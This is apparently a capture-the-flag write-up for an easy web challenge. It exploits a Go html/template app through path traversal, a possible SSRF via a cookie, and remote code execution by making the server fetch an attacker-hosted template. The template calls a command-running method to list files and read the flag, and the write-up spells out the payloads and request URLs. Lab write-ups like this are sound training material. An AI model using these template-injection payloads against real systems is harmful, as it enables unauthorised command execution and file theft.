An rating:: easy, challenge_category:: web challenge.
Initial Observations
Technology
- Go programming language.
- Go’s
"html/template"engine.
Misc
- The flag resides at the docker containers root.
- The flag file’s name gets obfuscated to
flag<random>.txtwhere<random>is 10 hexadecimal characters (a-f and 0-9). This is done each time the docker container starts, as it is part of theentrypoint.shfile. So this should throw an error when the container starts the second time, sinceflag.txtdoesnt’t exist anymore. - The
entrypoint.shfile has a#!/bin/ashshebang (Almquist shell), probably not relevant, but I am so used tobashthat this caught my eye. - The webapp runs as
rootuser.
The Challenge
The challenge description already outlines what to do: “You’ve found a website that lets you input remote templates for rendering. Your task is to exploit this system’s vulnerabilities to access and retrieve a hidden flag.”
Deep Dive
So let’s have a look at the application. This is my first time looking at Go code in depth, but thankfully everything is in one handy file. Since we already know this challenge is about templating, let’s start there_
The getTpl function
- Takes two query parameters:
pageanduse_remote. - Checks for the presence of a
user_ipCookie, if not present, deduces it from thehttp.Requestobject. - Gets Location Info by requesting:
https://freeipapi.com/api/json/" + clientIPwhereclientIPcan bet set via theuser_ipcookie (SSRF poetential!) - Gets other data using the
FetchServerInfofunction which can execute arbitrary commands. However, I do not see obvious ways to set such a command (Spoiler: turns out there is a way). - It then either fetches a remote template file, if
use_remote == "true"or loads a file usingreadFile(TEMPLATE_DIR+"/"+page, "./")where we can setpage. Browsing to/render?use_remote=false&page=../main.goshows that the code is indeed vulnerable to path traversal, however, the obfuscation of the flag filename prevents us from simply loading it using path traversal.
The FetchServerInfo method
This function actually has a misleading name and should be called ExecuteArbitraryCommands since this is what it is doing. Such a methods as part of a HTB challenge makes me really suspicious.
My thoughts
At this point I assume that we need a two step attack. First, let the server fetch a malicious template file from us that figures out the obfuscated flag filename. Then simply use path traversal to get the flag.
Go’s html/template Engine
Key to this is how Go handles templates. From the imports in main.go we can see that the app uses the html/template engine. We can find the docs here. Some research on hacktricks.xyz reveals that we might be able to get remote code execution:
“For example, if the provided object has a
Systemmethod executing commands, it can be exploited like{{ .System "ls" }}. Accessing the source code is usually necessary to exploit this, as in the given example:”
I am not exactly sure at this point what the object is, but the FetchServerInfo method already made me suspicious, so I am just hoping that the object is the reqData
Exploit Attempt 1
Create a template file that contains:
{{ .FetchServerInfo "ls .." }}
Host it using python:
- Find out your VPN tunnel ip address with:
ip address | grep tun0 | grep inet | cut -d " " -f6 - Run a simple web server, for example with python3:
python3 -m http.server
OpenVPN problems
The above approach should work, however I ran into problems where the target machine couldn’t connect to my pwn machine through the openvpn connection. So I ended up hosting the malicious template publicly instead.
Call the /render endpoint with the corresponding query parameters
or simply surf to http://<target_ip>/render?use_remote=true&page=https%3A%2F%2Fraw.githubusercontent.com%2Fkon-foo%2Fmisc%2Fmain%2Ftemplate.tpl
Et voilá: We get a list of the file in the root dir, including the obfuscated flag! At a second glance at the source code, I realized that this err = tmpl.Execute(w, reqData) is probably why this works. The reqData is passed to the template and the FetchServerInfo is defined on the RequestData type!
Now on to the second part:
Get the flag
by using path traversal. Just browse to http://<target_ip>/render?use_remote=true&page=../../flag<obfuscation>.txt Aaaand Internal Server Error :/ Back to the source code: I realized that I haven’t even checked the implementation of readFile and after I was able to access a file outside of the template dir I was convinced I could open any file.
My brain was about to look for solutions how to circumvent this check, but luckily something clicked before getting into that wormhole: I already have remote code execution as root… What the heck am I doing here. Don’t over-complicate things!
Exploit Attempt 2
So let’s adapt our malicious template to cat the first file in the parent directory that starts with flag:
{{ .FetchServerInfo "cut -d' ' -f1 ../../flag*" }}Because of my OpenVPN connection issues, I hosted this file on Github as well. Browse to http://<target_ip>/render?use_remote=true&page=https://raw.githubusercontent.com/kon-foo/misc/main/template2.tpl and there you have it: The glorious, beautiful flag.
What I have learned
- This was my first time really looking at Go code, so there is that. Two take aways from that:
- Go uses its own template engine!
- In Go you can define methods on types, like
func (p RequestData) FetchServerInfo(...) {...}
- Obfuscation is not Security, but it makes for an interesting challenge:)
- Do make things more complicated than they are! Especially if you already have root code execution, don’t look further.